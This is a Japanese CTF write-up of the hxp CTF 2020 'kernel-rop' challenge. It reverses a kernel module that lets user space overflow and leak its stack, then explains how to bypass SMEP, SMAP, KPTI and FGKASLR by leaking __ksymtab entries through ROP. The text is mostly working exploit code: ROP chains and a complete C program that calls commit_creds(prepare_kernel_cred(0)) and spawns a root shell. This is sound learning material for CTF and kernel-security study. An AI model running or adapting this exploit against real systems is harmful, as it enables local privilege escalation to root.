イントロ
いつぞや開催されたhxp CTF 2020。その pwn 問題であるkernel-ropを解いていく。kernel を起動した瞬間に vuln と topic をネタバレしていくスタイルだった。 そういえば、今月は自分の中で kernel-pwn 強化月間で、解くべき問題を募集しているので、これは面白いから解いてみろとか、これは為になるから見てみろとかあったら教えてください。
static
basic
basic.sh 1/ $ cat /proc/version
2Linux version 5.9.0-rc6+ (martin@martin) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils f0
3/ $ lsmod
4hackme 20480 0 - Live 0x0000000000000000 (O)
5$ modinfo ./hackme.ko
6filename: /home/wataru/Documents/ctf/hxp2020/kernel-rop/work/./hackme.ko
7version: DEV
8author: Martin Radev <https://twitter.com/martin_b_radev>
9description: hackme
10license: GPL
11srcversion: 838E71A30F4FFB7229182E4
12depends:
13retpoline: Y
14name: hackme
15vermagic: 5.9.0-rc6+ SMP mod_unload
16
17qemu-system-x86_64 \
18 -m 128M \
19 -cpu kvm64,+smep,+smap \
20 -kernel vmlinuz \
21 -initrd initramfs.cpio.gz \
22 -hdb flag.txt \
23 -snapshot \
24 -nographic \
25 -monitor /dev/null \
26 -no-reboot \
27 -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
SMEP 有効・SMAP 有効・KAISER 有効・KASLR 有効・oops!->panic
vmlinuz
を展開してvmlinux
にしたところ、以下のメッセージが出た。
1$ file ./vmlinux
2./vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many section (36140)
too many section (36140)。カーネルイメージでtoo many sectionといえば、FGKASLRである。関数毎にセクションが用意されロード時にランダマイズされるため、関数ポインタの leak の殆どが無意味になる。
fgkaslr.sh 1$ readelf -S ./vmlinux | grep kmem_cache
2 [11414] .text.kmem_cache_ PROGBITS ffffffff81643220 00843220
3 [11448] .text.kmem_cache_ PROGBITS ffffffff81644430 00844430
4 [11449] .text.kmem_cache_ PROGBITS ffffffff81644530 00844530
5 [11457] .text.kmem_cache_ PROGBITS ffffffff81644810 00844810
6 [11458] .text.kmem_cache_ PROGBITS ffffffff81644b00 00844b00
7 [12494] .text.kmem_cache_ PROGBITS ffffffff8169a1b0 0089a1b0
8 [12536] .text.kmem_cache_ PROGBITS ffffffff8169e710 0089e710
9 [12537] .text.kmem_cache_ PROGBITS ffffffff8169eb80 0089eb80
10 [12540] .text.kmem_cache_ PROGBITS ffffffff8169f240 0089f240
11 [12541] .text.kmem_cache_ PROGBITS ffffffff8169f6b0 0089f6b0
12 [12553] .text.kmem_cache_ PROGBITS ffffffff816a0f70 008a0f70
13 [12557] .text.kmem_cache_ PROGBITS ffffffff816a15b0 008a15b0
14 [12559] .text.kmem_cache_ PROGBITS ffffffff816a1a00 008a1a00
15 [12561] .text.kmem_cache_ PROGBITS ffffffff816a2020 008a2020
Module
おい、ソースないやんけ。その理由を書いた嘆願書も添付されてないやんけ。
hackmeという名前のmiscdevice
が登録される。
実装されている操作はopen/release/read/writeの 4 つ。さてリバースをしようと思い Ghidra を開いたら、Ghidra 君が全ての関数をデコンパイルすることを放棄してしまった。。。 これ、たまにある事象なので今度原因を調べる。それか IDA も使えるようにしておく。
まぁアセンブリを読めばいいだけなので問題はない。read/write
はおおよそ以下の疑似コードのようなことをしている。
1write(struct file *filp, char *data, size_t size, loff_t off){
2 if(size <= 0x1000){
3 __check_object_size(hackme_buf, size, 0);
4 if(_copy_from_user(hackme_buf, buf, sizse)){
5 return -0xE;
6 }
7 memcpy($rsp-0x98, hackme_buf, size); // <-- VULN: なにしてんのお前???
8 __stack_chk_fail();
9 }else{
10 _warn_printk("Buffer_overflow_detected_(%d_<_%u)!", 0x1000, size);
11 __stack_chk_fail(); // canary @ $rbp-0x18
12 return -0xE;
13 }
14}
15read(struct file *filp, char *data, size_t size){
16 memcpy(hackme_buf, $rsp-0x98, size); // <-- VULN: not initialized...
17 __check_object_size(hackme_buf, size, 1);
18 if(_copy_to_user(data, hackme_buf, size)){
19 return -0xE;
20 }
21 __stack_chk_fail(); // canary @ $rbp-0x18
22}
なんかもう、意味分からんことしてるな。FGKASLR のせいで GDB の表示もイカれてるし、しまいには Abort したわ。。。
まぁそれはいいとして、hackme_write()
ではhackme_buf
に読んだデータを、$rsp-0x98
へとmemcpy()
している。この際のサイズ制限は0x1000
であるが、これだけのデータをスタックにコピーすると当然崩壊してしまう。だが、$rsp-0x18
にカナリアが飼われており、これを崩さないようにしないと Oops する。また、hackme_read()
においては$rsp-0x98
からのデータをhackme_buf
にコピーし、そのあとでhackme_buf
をユーザランドにコピーしている。
Vuln
上のコードからも分かるとおり、スタックがかなりいじれる(R/W)。 但し、カナリアはいる。
leak canary
カナリアが飼われているものの、hackme_read()
のチェックがガバガバのため、read に関しては思うがままにでき、よって容易にカナリアを leak できる。
1/** snippet **/
2 _read(fd, rbuf, 0x90);
3 printf("[+] canary: %lx\n", ((ulong*)rbuf)[0x80/8]);
4
5/** result **/
6/ # /tmp/exploit
7[+] canary: 32ce1536acf87a00
8/ #
kROP
これで canary が leak できたため、スタックを任意に書き換えることができるようになった。SMEP/SMAP ともに有効であるから、ユーザランドに飛ばすことはできない。また、FGKASLR が有効のためガジェットの位置がなかなか定まらない。FGKASLR が有効でもデータセクション及び一部の関数はランダマイズされないことは知っているが、そういったシンボルをどうやって見つければいいか分からなかった。
__ksymtab_xxx
ここでauthor’s writeup
をカンニング。
__ksymtab_xxx
エントリを leak すればいいらしい。そこで試しにkmem_cache_alloc()
の情報を以下に挙げる。
1kernbase: 0xffffffff81000000
2kmem_cache_create: 0xffffffff81644b00
3__ksymtab_kmem_cache_create: 0xffffffff81f8b4b0
4__kstrtab_kmem_cache_create: 0xffffffff81fa61ea
5
6(gdb) x/4wx $ksymtab_kmem_cache_create
70xffffffff81f8b4b0: 0xff6b9650 0x0001ad36 0x0001988a
僕は__ksymtab_xxx
各エントリには、シンボルのアドレス・__kstrtab_xxx
へのポインタ・ネームスペースへのポインタがそれぞれ 0x8byte で入っているものと思っていたが、上を見る感じそうではない。どうやら、KASLR が利用できる arch においては、このパッチ
でアドレスの代わりにオフセットを入れるようになったらしい。シンボルの各エントリは以下の構造を持ち、以下のようにして解決される。
1#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
2#include <linux/compiler.h>
3(snipped...)
4#define __KSYMTAB_ENTRY(sym, sec) \
5 __ADDRESSABLE(sym) \
6 asm(" .section \"___ksymtab" sec "+" #sym "\", \"a\" \n" \
7 " .balign 4 \n" \
8 "__ksymtab_" #sym ": \n" \
9 " .long " #sym "- . \n" \
10 " .long __kstrtab_" #sym "- . \n" \
11 " .long __kstrtabns_" #sym "- . \n" \
12 " .previous \n")
13
14struct kernel_symbol {
15 int value_offset;
16 int name_offset;
17 int namespace_offset;
18};
19#else
1static unsigned long kernel_symbol_value(const struct kernel_symbol *sym)
2{
3#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
4 return (unsigned long)offset_to_ptr(&sym->value_offset);
5#else
6 return sym->value;
7#endif
8}
9
10static const char *kernel_symbol_name(const struct kernel_symbol *sym)
11{
12#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
13 return offset_to_ptr(&sym->name_offset);
14#else
15 return sym->name;
16#endif
17}
1static inline void *offset_to_ptr(const int *off)
2{
3 return (void *)((unsigned long)off + *off);
4}
要は、そのエントリのアドレスに対してそのエントリの持つ値を足してやれば、そのエントリの示すシンボルのアドレス、および__kstrtab_xxx
のアドレスになるというわけである。そして、幸いなことにこのエントリ達は readable なデータであり、FGKASLR の影響を受けない(KASLR の影響は受ける)。よって、この__ksymtab_xxx
のアドレス、厳密にはこの配列のインデックスも固定であるためその内のどれか(一番最初のエントリはffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vector
)が分かれば FGKASLR を完全に無効化したことになる。
find not-randomized pointer to leak kernbase
だがまだ進捗は全く出ていない。この__ksymtab_xxx
のアドレス自体を決定する必要がある。今回は最初スタックからしか leak できないため、この stack をとにかく血眼になってFGKASLR の影響を受けていないポインタを探す。以下のように、$RSP-38*0x8
にあるポインタが KASLR 有効の状態で何回か試しても影響を受けていなかった。
これで、kernbase のリークができたことになる。すなわち、__ksymtab_xxx
の全てのアドレスも leak できたことになる。
find gadget to leak the data of __ksymtab_xxx
さて、__ksymtab_xxx
のアドレスが分かったが、今度はこの中身を抜くためのガジェットが必要になる。このガジェットも勿論、FGKASLR の影響を受けないような関数から取ってこなくてはならない。ROP 問って、ただガジェット探す時間が多くなるから嫌い。。。
ということで、 rp++ のラッパーとして FGKASLR に影響されないようなガジェットを探してくれるシンプルツールを書きました。まだまだバグだらけだけど、ゼロから探すよりかは 8 億倍楽だと思う。
これを使うと、以下のような感じで FGKASLR の影響を受けないシンボルだけを探してくれて:
実際に、これは FGKASLR の影響を受けていないことが分かる。こうなればあとは、ただの kROP 問題になる。
これを使って、gadget を探して以下のような chain を組んだ。
chain-to-leak-ksymtab.asm 1 // leak symbols from __ksymtab_xxx
2 save_state();
3 ulong *c = &wbuf[CANARY_OFF];
4 memset(wbuf, 'A', 0x200);
5 *c++ = canary;
6 *c++ = '1'; // rbx
7 *c++ = '2'; // r12
8 *c++ = '3'; // rbp
9 *c++ = kernbase + 0x4D11; // pop rax
10 *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds
11 *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
12 *c++ = 'A'; // rbp
13 *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
14 for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
15 *c++ = 'A' + ix + 1;
16 *c++ = &NIRUGIRI;
17 *c++ = user_cs;
18 *c++ = user_rflags;
19 *c++ = user_sp;
20 *c++ = user_ss;
21 _write(fd, wbuf, 0x130);
すると、iretq
の直前には以下のようになって、ちゃんとことNIRUGIRI()
に帰れることがわかる。(因みに、なんでか上手くユーザランドに帰れなくて小一時間ほど時間を浪費してしまったが、結局_write()
で書き込むバイト数が足りておらず、user_ss
等を書き込めていなかったことが原因だった)
但し、まだ NIRUGIRI をするには早すぎる。一回の kROP でできることは一つの leak だけだから、これを複数回繰り返して leak を行う。具体的には leak するシンボルは、commit_creds
とprepare_kernel_commit
である。current_task
に関しては FGKASLR の影響を受けないため問題ない。
get ROOT
上の方法でcommit_creds()
とprepare_kernel_commit()
を leak したら、同様に neorop++ で FGKASLR に影響されないガジェットを探し、あとは全く同じ方法でcommit_creds(prepare_kernel_commit(0))
をするだけである。最後の着地点はユーザランドのシェルを実行する関数にすれば良い。`
exploit
exploit.c 1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <linux/prctl.h>
19#include <sys/syscall.h>
20#include <sys/ipc.h>
21#include <sys/msg.h>
22#include <sys/prctl.h>
23#include <sys/ioctl.h>
24#include <sys/mman.h>
25#include <sys/types.h>
26#include <sys/xattr.h>
27#include <sys/socket.h>
28#include <sys/uio.h>
29#include <sys/shm.h>
30
31
32// commands
33#define DEV_PATH "/dev/hackme" // the path the device is placed
34
35// constants
36#define PAGE 0x1000
37#define FAULT_ADDR 0xdead0000
38#define FAULT_OFFSET PAGE
39#define MMAP_SIZE 4*PAGE
40#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
41// (END constants)
42
43// globals
44// (END globals)
45
46
47// utils
48#define WAIT getc(stdin);
49#define REP(N) for(int iiiiix=0;iiiiix!=N;++iiiiix)
50#define ulong unsigned long
51#define scu static const unsigned long
52#define NULL (void*)0
53#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
54 } while (0)
55#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
56 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
57ulong user_cs,user_ss,user_sp,user_rflags;
58struct pt_regs {
59 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
60 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
61 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
62 ulong orig_ax; ulong ip; ulong cs; ulong flags;
63 ulong sp; ulong ss;
64};
65void print_regs(struct pt_regs *regs)
66{
67 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
68 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
69 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
70 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
71 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
72}
73void NIRUGIRI(void)
74{
75 printf("[!!!] NIRUGIRI!!!\n");
76 char *argv[] = {"/bin/sh",NULL};
77 char *envp[] = {NULL};
78 execve("/bin/sh",argv,envp);
79}
80// should compile with -masm=intel
81static void save_state(void) {
82 asm(
83 "movq %0, %%cs\n"
84 "movq %1, %%ss\n"
85 "movq %2, %%rsp\n"
86 "pushfq\n"
87 "popq %3\n"
88 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
89 printf("[+] save_state: cs:%lx ss:%lx sp:%lx rflags:%lx\n", user_cs, user_ss, user_sp, user_rflags);
90}
91
92static void shellcode(void){
93 asm(
94 "xor rdi, rdi\n"
95 "mov rbx, QWORD PTR [rsp+0x50]\n"
96 "sub rbx, 0x244566\n"
97 "mov rcx, rbx\n"
98 "call rcx\n"
99 "mov rdi, rax\n"
100 "sub rbx, 0x470\n"
101 "call rbx\n"
102 "add rsp, 0x20\n"
103 "pop rbx\n"
104 "pop r12\n"
105 "pop r13\n"
106 "pop r14\n"
107 "pop r15\n"
108 "pop rbp\n"
109 "ret\n"
110 );
111}
112// (END utils)
113
114// hackme
115int _write(int fd, char *buf, uint size){
116 assert(fd > 0);
117 int res = write(fd, buf, size);
118 assert(res >= 0);
119 return res;
120}
121int _read(int fd, char *buf, uint size){
122 assert(fd > 0);
123 int res = read(fd, buf, size);
124 assert(res >= 0);
125 return res;
126}
127// (END hackme)
128
129#define CANARY_OFF 0x80
130#define RBP_OFF 0x98
131int fd;
132ulong kernbase;
133ulong commit_creds, prepare_kernel_cred, current_task;
134ulong canary;
135char rbuf[0x200];
136char wbuf[0x200];
137
138void level3(void){
139 ulong ret;
140 asm(
141 "movq %0, %%rax\n"
142 : "=r"(ret)
143 );
144 const ulong my_special_cred = ret;
145 printf("[!] reached Level-3\n");
146 printf("[!] my_special_cred: 0x%lx\n", my_special_cred);
147
148 // into level4
149 save_state();
150 ulong *c = &wbuf[CANARY_OFF];
151 memset(wbuf, 'A', 0x200);
152 *c++ = canary;
153 *c++ = '1'; // rbx
154 *c++ = '2'; // r12
155 *c++ = '3'; // rbp
156 *c++ = kernbase + 0x006370; // pop rdi
157 *c++ = my_special_cred;
158 *c++ = commit_creds;
159 *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
160 for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
161 *c++ = 'A' + ix + 1;
162 *c++ = &NIRUGIRI;
163 *c++ = user_cs;
164 *c++ = user_rflags;
165 *c++ = user_sp;
166 *c++ = user_ss;
167 _write(fd, wbuf, 0x130);
168
169 errExit("level3");
170}
171
172void level2(void){
173 ulong ret;
174 asm(
175 "movq %0, %%rax\n"
176 : "=r"(ret)
177 );
178 prepare_kernel_cred = (signed long)kernbase + (signed long)0xf8d4fc + (signed int)ret;
179 printf("[!] reached Level-2\n");
180 printf("[!] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
181
182 // into level3
183 save_state();
184 ulong *c = &wbuf[CANARY_OFF];
185 memset(wbuf, 'A', 0x200);
186 *c++ = canary;
187 *c++ = '1'; // rbx
188 *c++ = '2'; // r12
189 *c++ = '3'; // rbp
190 *c++ = kernbase + 0x006370; // pop rdi
191 *c++ = 0;
192 *c++ = prepare_kernel_cred;
193 *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
194 printf("[!!!] 0x%lx\n", *(c-1));;
195 for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
196 *c++ = 'A' + ix + 1;
197 *c++ = &level3;
198 *c++ = user_cs;
199 *c++ = user_rflags;
200 *c++ = user_sp;
201 *c++ = user_ss;
202 _write(fd, wbuf, 0x130);
203
204 errExit("level2");
205}
206
207void level1(void){
208 ulong ret;
209 asm(
210 "movq %0, %%rax\n"
211 : "=r"(ret)
212 );
213 commit_creds = (signed long)kernbase + (signed long)0xf87d90 + (signed int)ret;
214 printf("[!] reached Level-1\n");
215 printf("[!] commit_creds: 0x%lx\n", commit_creds);
216
217 // into level2
218 save_state();
219 ulong *c = &wbuf[CANARY_OFF];
220 memset(wbuf, 'A', 0x200);
221 *c++ = canary;
222 *c++ = '1'; // rbx
223 *c++ = '2'; // r12
224 *c++ = '3'; // rbp
225 *c++ = kernbase + 0x4D11; // pop rax
226 *c++ = kernbase + 0xf8d4fc; // __ksymtab_prepare_kernel_cred
227 *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
228 *c++ = 'A'; // rbp
229 *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
230 for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
231 *c++ = 'A' + ix + 1;
232 *c++ = &level2;
233 *c++ = user_cs;
234 *c++ = user_rflags;
235 *c++ = user_sp;
236 *c++ = user_ss;
237 _write(fd, wbuf, 0x130);
238
239 errExit("level1");
240}
241
242int main(int argc, char *argv[]) {
243 printf("[.] NIRUGIRI @ %p\n", &NIRUGIRI);
244 printf("[.] level1 @ %p\n", &level1);
245 memset(wbuf, 'A', 0x200);
246 memset(rbuf, 'B', 0x200);
247 fd = open(DEV_PATH, O_RDWR);
248 assert(fd > 0);
249
250 // leak canary and kernbase
251 _read(fd, rbuf, 0x1a0);
252 canary = ((ulong*)rbuf)[0x10/8];
253 printf("[+] canary: %lx\n", canary);
254 kernbase = ((ulong*)rbuf)[38] - ((ulong)0xffffffffb080a157 - (ulong)0xffffffffb0800000);
255 printf("[!] kernbase: 0x%lx\n", kernbase);
256
257 // leak symbols from __ksymtab_xxx
258 save_state();
259 ulong *c = &wbuf[CANARY_OFF];
260 memset(wbuf, 'A', 0x200);
261 *c++ = canary;
262 *c++ = '1'; // rbx
263 *c++ = '2'; // r12
264 *c++ = '3'; // rbp
265 *c++ = kernbase + 0x4D11; // pop rax
266 *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds
267 *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
268 *c++ = 'A'; // rbp
269 *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
270 for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
271 *c++ = 'A' + ix + 1;
272 *c++ = &level1;
273 *c++ = user_cs;
274 *c++ = user_rflags;
275 *c++ = user_sp;
276 *c++ = user_ss;
277 _write(fd, wbuf, 0x130);
278
279 errExit("main");
280 return 0;
281}
282
283/* gad go home
284ffffffff81200f23: 59 pop rcx
285ffffffff81200f24: 5a pop rdx
286ffffffff81200f25: 5e pop rsi
287ffffffff81200f26: 48 89 e7 mov rdi,rsp
288ffffffff81200f29: 65 48 8b 24 25 04 60 mov rsp,QWORD PTR gs:0x6004
289ffffffff81200f30: 00 00
290ffffffff81200f32: ff 77 30 push QWORD PTR [rdi+0x30]
291ffffffff81200f35: ff 77 28 push QWORD PTR [rdi+0x28]
292ffffffff81200f38: ff 77 20 push QWORD PTR [rdi+0x20]
293ffffffff81200f3b: ff 77 18 push QWORD PTR [rdi+0x18]
294ffffffff81200f3e: ff 77 10 push QWORD PTR [rdi+0x10]
295ffffffff81200f41: ff 37 push QWORD PTR [rdi]
296ffffffff81200f43: 50 push rax
297ffffffff81200f44: eb 43 jmp ffffffff81200f89 <_stext+0x200f89>
298ffffffff81200f46: 0f 20 df mov rdi,cr3
299ffffffff81200f49: eb 34 jmp ffffffff81200f7f <_stext+0x200f7f>
300*/
アウトロ
FGKASLR を kROP で bypass する、為になる良い問題でした。
symbols without KASLR
symbols.txt1hackme_buf: 0xffffffffc0002440
信じられるものは、.bss/.data だけ。アンパンマンと一緒だね。
参考
- author’s writeup: https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/
- ニルギリ: https://youtu.be/yvUvamhYPHw